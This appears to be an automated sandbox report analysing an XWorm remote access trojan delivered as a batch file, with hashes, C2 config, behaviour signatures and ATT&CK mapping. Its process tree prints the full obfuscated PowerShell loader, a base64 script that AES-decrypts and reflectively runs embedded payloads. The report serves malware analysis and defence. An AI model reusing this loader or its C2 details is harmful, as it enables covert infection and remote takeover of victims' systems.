xworm | 71dfb99a8659fc7f33fb09bda152cc14aa4d42266c3691b61045a7083eaca8d6

General

Target

71dfb99a8659fc7f33fb09bda152cc14aa4d42266c3691b61045a7083eaca8d6.bat
Size

64KB
MD5

cf57d5eb699a380c9c16a80380ba4430
SHA1

f619f0e136046b263597254cac874843669b6f5d
SHA256

71dfb99a8659fc7f33fb09bda152cc14aa4d42266c3691b61045a7083eaca8d6
SHA512

f2d558bc38a0863e442d362416700a0e678a8c9d8e9c9fb6d9e6123e8b8f3e6bde740cb51e432396577609b01c0783fcb7a748cc60fd097823ae4241dcada51f
SSDEEP

1536:UM8QNuOVNv9V/AoMwQ0l/ds8RtZkbmEKUgXEXzICKUnFWvjpi:UMnTVNVVqJU/dUHfKjpi

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

tripplebanks.duckdns.org:3399

Mutex

bppouzbV7pFA6n72

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4528-21-0x000001EF67F90000-0x000001EF67FA0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
31	4528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4528	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_93f877f7.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_93f877f7.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4528	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4528	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 5004	4180	cmd.exe	85
PID 4180 wrote to memory of 5004	4180	cmd.exe	85
PID 5004 wrote to memory of 4528	5004	cmd.exe	88
PID 5004 wrote to memory of 4528	5004	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\71dfb99a8659fc7f33fb09bda152cc14aa4d42266c3691b61045a7083eaca8d6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\71dfb99a8659fc7f33fb09bda152cc14aa4d42266c3691b61045a7083eaca8d6.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdnN4ZmUgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHZzeGZlKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR2c3hmZSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR2c3hmZSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdnN4ZmUiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gc3BseG8oJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2F4K3RwTDJFNHUyWlBJV0lJdUxOS2h5aHZ5UW1POEFmU0doQjJlNE8xbmc9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ25CMlprMUhmUGIvNDhDZ2JFRDJFWUE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24ga2pvYXIoJHBhcmFtX3Zhcil7CSR0ZmRwbz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkeHd1anA9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZXF0cmI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkdGZkcG8sIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGVxdHJiLkNvcHlUbygkeHd1anApOwkkZXF0cmIuRGlzcG9zZSgpOwkkdGZkcG8uRGlzcG9zZSgpOwkkeHd1anAuRGlzcG9zZSgpOwkkeHd1anAuVG9BcnJheSgpO31mdW5jdGlvbiBmZHNyYSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGt5bG1tPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGFoYWJ3PSRreWxtbS5FbnRyeVBvaW50OwkkYWhhYncuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZzeGZlOyRndWlraT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZzeGZlKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkYnFyIGluICRndWlraSkgewlpZiAoJGJxci5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGtzeW11PSRicXIuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHN3bXF5PVtzdHJpbmdbXV0ka3N5bXUuU3BsaXQoJ1wnKTskd2J5cmE9a2pvYXIgKHNwbHhvIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN3bXF5WzBdKSkpOyR3Y3ZwZT1ram9hciAoc3BseG8gKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkc3dtcXlbMV0pKSk7ZmRzcmEgJHdieXJhICRudWxsO2Zkc3JhICR3Y3ZwZSAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lkiqfii2.5zd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
cf57d5eb699a380c9c16a80380ba4430

SHA1
f619f0e136046b263597254cac874843669b6f5d

SHA256
71dfb99a8659fc7f33fb09bda152cc14aa4d42266c3691b61045a7083eaca8d6

SHA512
f2d558bc38a0863e442d362416700a0e678a8c9d8e9c9fb6d9e6123e8b8f3e6bde740cb51e432396577609b01c0783fcb7a748cc60fd097823ae4241dcada51f

Download Submit
memory/4528-16-0x00007FFFB9150000-0x00007FFFB9C11000-memory.dmp

Filesize
10.8MB

Download
memory/4528-13-0x00007FFFB9150000-0x00007FFFB9C11000-memory.dmp

Filesize
10.8MB

Download
memory/4528-14-0x00007FFFB9150000-0x00007FFFB9C11000-memory.dmp

Filesize
10.8MB

Download
memory/4528-12-0x000001EF67980000-0x000001EF679A2000-memory.dmp

Filesize
136KB

Download
memory/4528-2-0x00007FFFB9153000-0x00007FFFB9155000-memory.dmp

Filesize
8KB

Download
memory/4528-17-0x00007FFFB9150000-0x00007FFFB9C11000-memory.dmp

Filesize
10.8MB

Download
memory/4528-19-0x000001EF679F0000-0x000001EF679FE000-memory.dmp

Filesize
56KB

Download
memory/4528-18-0x000001EF67970000-0x000001EF67978000-memory.dmp

Filesize
32KB

Download
memory/4528-21-0x000001EF67F90000-0x000001EF67FA0000-memory.dmp

Filesize
64KB

Download
memory/4528-22-0x00007FFFB9153000-0x00007FFFB9155000-memory.dmp

Filesize
8KB

Download
memory/4528-23-0x00007FFFB9150000-0x00007FFFB9C11000-memory.dmp

Filesize
10.8MB

Download
memory/4528-24-0x000001EF67B30000-0x000001EF67D4C000-memory.dmp

Filesize
2.1MB

Download
memory/4528-25-0x00007FFFB9150000-0x00007FFFB9C11000-memory.dmp

Filesize
10.8MB

Download

Analysis

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